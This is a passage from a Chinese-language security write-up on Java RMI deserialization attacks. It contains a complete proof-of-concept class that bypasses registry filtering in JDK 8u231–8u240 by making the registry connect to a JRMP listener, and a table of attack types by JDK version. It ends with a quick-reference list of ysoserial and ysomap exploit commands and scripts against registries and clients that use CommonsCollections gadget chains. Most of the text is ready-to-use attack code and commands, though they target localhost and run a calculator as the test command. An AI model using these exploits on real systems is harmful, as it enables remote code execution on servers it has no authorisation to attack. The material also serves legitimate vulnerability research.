        protected Object replaceObject(Object var1) throws IOException {
            return var1;
        }

        protected void annotateClass(Class<?> var1) throws IOException {
            this.writeLocation(RMIClassLoader.getClassAnnotation(var1));
        }

        protected void annotateProxyClass(Class<?> var1) throws IOException {
            this.annotateClass(var1);
        }

        protected void writeLocation(String var1) throws IOException {
            this.writeObject(var1);
        }
    }

然后修改 sendRawCall,使用我们自己编写的 myMarshalOutputStream。

    public static void sendRawCall(String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception {
        ...
        final ObjectOutputStream objOut = new myMarshalOutputStream(dos);

最终 poc 如下:

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import xyz.eki.marshalexp.rmi.utils.ReflectUtils;
import xyz.eki.marshalexp.rmi.utils.RemoteUtils;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.rmi.server.ObjID;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.UnicastRemoteObject;
import java.util.Random;

/*
Bypass 8u231~8u240
 */
public class AttackRegistryByJRMPListener2 {
    public static void main(String[] args) {
        try {
            String registryHost = "127.0.0.1";
            int registryPort = 1099;
            String JRMPHost = "127.0.0.1";
            int JRMPPort = 12345;

            TCPEndpoint te = new TCPEndpoint(JRMPHost, JRMPPort);
            ObjID id = new ObjID(new Random().nextInt());
            UnicastRef refObject = new UnicastRef(new LiveRef(id, te, false));

            RemoteObjectInvocationHandler myInvocationHandler = new RemoteObjectInvocationHandler(refObject);
            RMIServerSocketFactory handcraftedSSF = (RMIServerSocketFactory) Proxy.newProxyInstance(
                    RMIServerSocketFactory.class.getClassLoader(),
                    new Class[] { RMIServerSocketFactory.class, java.rmi.Remote.class },
                    myInvocationHandler);


            Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
            constructor.setAccessible(true);
            UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);

            ReflectUtils.setFieldValue(remoteObject, "ssf", handcraftedSSF);

            //Bind(null, remoteObject)
//             attack registry
            RemoteUtils.sendRawCall(registryHost,registryPort,new ObjID(0),0,4905912898345647071L, null,remoteObject);
            System.out.println("Payload sent");

        }catch (Throwable t){
            t.printStackTrace();
        }
    }
}

该问题在 jdk 8u241 中进行了修复。

总结

参考 JAVA 协议安全笔记-RMI篇 - 跳跳糖 最后的总结表格。 | 攻击类型 | 适用jdk版本 | 需要条件 | | —————————————— | ——————- | ————————————————————————- | | 加载远程类 | <7u21、6u45 | 无 | | 加载远程类 | 任意 | SecurityManager allow/ java.rmi.server.useCodebaseOnly=false | | 远程对象方法参数反序列化 | <8u242 | 远程对象参数除int、boolean等基本类外/服务端存在反序列化链 | | 远程对象方法参数反序列化 | 任意 | 远程对象参数除int、boolean等基本类和String类外/远程对象环境存在反序列化链 | | Registry方法参数反序列化 | <8u121,7u13,6u141 | Registry 端存在反序列化链 | | 远程对象方法结果 | 任意 | 调用端存在反序列化环境 | | DGC方法返回值存在反序列化 | <8u121,7u13,6u141 | 调用端存在反序列化链(对应 ysoserial JRMPClient) | | JRMI CALL 报错反序列化 | 任意 | 调用端存在反序列化链 (对应 ysoserial JRMPListener) | | Registry bind/rebind 触发 JRMI CALL报错 | <8u231 | Registry存在反序列化链 | | Registry 方法参数反序列化触发 JRMI CALL报错 | <8u241 | Registry存在反序列化链 |

EXP 速查

JRMPClient 攻击 Registry

ysoserial

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 "mate-calc"

ysomap

java -jar ysomap.jar script ../../scripts/exploits/rmi_dgc_exploit_cc.yso

rmi_dgc_exploit_cc.yso

use exploit RMIDGCExploit
use payload CommonsCollections5
use bullet TransformerWithTemplatesImplBullet
set target 127.0.0.1:1099
set args "mate-calc"
run

JRMPListener 攻击 Client

ysoserial

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 'mate-calc'

ysomap

java -jar ysomap.jar script ../../scripts/exploits/rmi_listener_cc.yso

rmi_listener_cc.yso

use exploit RMIListener
use payload CommonsCollections5
use bullet TransformerWithTemplatesImplBullet
set lport 12345
set args "mate-calc"
run

JRMPListener 攻击 Registry

ysomap

java -jar ysomap.jar script ../../scripts/exploits/rmi_registry_exploit.yso

rmi_registry_exploit.yso

use exploit RMIListener
use payload CommonsCollections5
use bullet TransformerBullet
set lport 12345
set command "mate-calc"
run

use exploit RMIRegistryExploit
use payload RMIConnectWithUnicastRemoteObject
use bullet RMIConnectBullet
set target localhost:1099
set rhost 127.0.0.1
set rport 12345
run

参考